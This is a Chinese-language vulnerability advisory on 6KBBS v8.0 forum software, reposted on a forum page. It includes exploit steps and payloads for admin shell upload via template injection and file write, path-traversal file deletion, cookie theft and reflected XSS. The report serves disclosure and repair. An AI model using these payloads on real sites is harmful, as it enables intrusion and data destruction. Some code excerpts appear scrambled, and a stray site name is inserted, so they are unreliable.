管理快来看下;6KBBS v8.0 build 20101201漏洞分析报告 www.insight-labs.org Report by insight-labs (Web Security Group) 2011-09-30
目录
1.普通用户提权漏洞(High)
2.后台GetShell 1(High)
3.后台GetShell 2(High)
4.后台任意文件删除漏洞
5.未加HttpOnly的Cookie
6.网站绝对路径泄露
7.多处反射型XSS
一、普通用户提权漏洞(High)
<漏洞简介>
普通用户提权漏洞,可以提升为管理员权限。
<漏洞分析>
由于危害程度較大,細節暫不公開
<漏洞利用>
由于危害程度較大,細節暫不公開
<漏洞修复>
由于危害程度較大,細節暫不公開
二、后台GetShell 1(High)
<漏洞简介>
后台-用户-用户组管理页面Get Shell
<漏洞分析>
/admin/user_ajax.php?action=savegroups2
try
{
case"savegroups2":
$groups = $_POST['groups'];
if(is_array($groups))
{
foreach($groups as $group)
{
$db->row_update("groups", $group, "id={$group['id']}");
}
}
$rows = $db->row_select("groups", "", 0, "groupid,groupname,popedom,starnu m", "groupid");
$groups = array();
foreach($rows as $row)
{
$groups["{$row['groupid']}"] = $row;
}
writeGroupsCache();
succeedFlag();
}
catch(Exception $e)
{
}
break;
echo($e);
更新信息以后,通 过writeGroupCache() 函数把更新的信息写到\cache\groups.php 当 中 , 直 接 访 问
\cache\groups.php 就可以得到shell。
<漏洞利用>
1、 登录管理后台。
2、 进入用户-用户组-模块。
3、 任意修改一个用户组名称为{${phpinfo()}}。
4、 访问/cache/groups.php 即可看到phpinfo 页面。
<漏洞修复>
更新数据时对’,”,$符号进行转义,替换为\’,\”,\$。
2
三、后台GetShell 2(High)
<漏洞简介>
后台portalchannel_ajax.php Get Shell
<漏洞分析>
/admin/portalchannel_ajax.php?action=saverule
try
{
}
case"saverule":
$id = trim(strFilter($_POST['id']));
$code = stripslashes($_POST['code']);
writeFile("collectrules/{$id}.php",$code);
succeedRes();
catch(Exception $e)
{
}
break;
echo($e);
直接把id 作为php 的文件名,code 作为文件内容写入/admin/collectrules/文件夹当中。
并且在接收数据的时候,没有验证Referer 和Token,可以通过CSRF 来利用。
<漏洞利用>
1、 登录后台或者使用CSRF 攻击。
2、 向/admin/portalchannel_ajax.php?action=saverule 页面POST 数据
id=test&code=%3C%3Fphpinfo%28%29%3F%3E
3、访问/admin/collectrules/test.php 即可得到shell。
<漏洞修复>
增加Referer 和Token 验证,防止CSRF 攻击。 依据论坛需求合理设计该功能。
四、后台任意文件删除漏洞
<漏洞简介>
后台任意文件删除漏洞
<漏洞分析>
/admin/database.php
case"delete" :
$fileids = $_POST['fileids'];
var_dump($fileids);
if(!empty($fileids) && is_array($fileids))
{
foreach($fileids as $fileid)
{
echo $backdir;
if(file_exists("./{$backdir}/" . $fileid))
{
www.2cto.com
}
}
}
else
{
@unlink("./{$backdir}/". $fileid);
$msgs[] = "文件删除成功:".$fileid;
$msgs[] = "请选择要删除的文件。";
}
show_msg($msgs);
break;
<漏洞利用>
1、 登录后台或者使用CSRF 攻击。
2、 向/admin/admin.php?inc=database&action=delete 页面POST 数据。
fileids[]=../../../index.php
3、index.php 被删除。
<漏洞修复>
增加Referer 和Token 验证,防止CSRF 攻击。
对fileids[] 变量进行过滤,替换变量中的.和\,/。
五、未加HttpOnly 的Cookie
<漏洞简介>
Cookie 中存有密码,并且未加HttpOnly
<漏洞分析>
/login.php
setCookies('username', $row['username'], $t);
setCookies('userpass', $userpass_encrypt,$t);
setCookies('userauth', md5($row['username'].$userpass_encrypt.$cache_settings['salt'])
, $t);
setCookies('userhidden',$userhidden, $t);
setCookies('expire',$t, $t);
cookie 中的userpass 字段直接使用用户密码加密串来赋值,并且未加入HttpOnly 属性。攻击者可以通过XSS 攻 击轻松取到用户的Cookie 和加密后的密码,由于密码为md5 加密,所以很容易被破解。
<漏洞利用>
1、 使用XSS 获取其他用户Cookie
2、 使用在线破解网站破解用户密码,或者使用用户的cookie 进行登录。
<漏洞修复>
setCookies 的时候,加入HttpOnly 属性。
六、网站绝对路径泄露
<漏洞简介>
爆网站绝对路径
<漏洞分析>
/admin/portalcollect.php
/getfiles.php?f=http://xxx&t=js
未加入@容错,导致绝对路径泄露。
<漏洞利用>
1、 直接访问/admin/portalcollect.php 或者/getfiles.php?f=http://xxx&t=js 即可爆出绝对路径。
<漏洞修复>
关闭PHP 错误提示。 在出错的函数之前加上@
6
七、多处反射型XSS
<漏洞简介>
多处反射型XSS
<漏洞分析>
多处直接使用$_SERVER['PHP_SELF']变量而未进行编码,导致多处反射型XSS 漏洞。
credits.php/"><script>alert(1)</script> forum.php/"><script>alert(1)</script> index.php/"><script>alert(1)</script> login.php/"><script>alert(1)</script> online.php/"><script>alert(1)</script>
…
<漏洞利用>
1、credits.php/"><script>恶意JS代码</script>
2、 ….
<漏洞修复>
进行转义
所在版块:
使用问题 - 发表时间:
2011-10-13 12:25
你们的论坛都弱爆了,看下我的 你们的论坛都弱爆了,看下我的 www.cyymx123.com
所在版块:
网站宣传 - 发表时间:
2011-10-12 15:45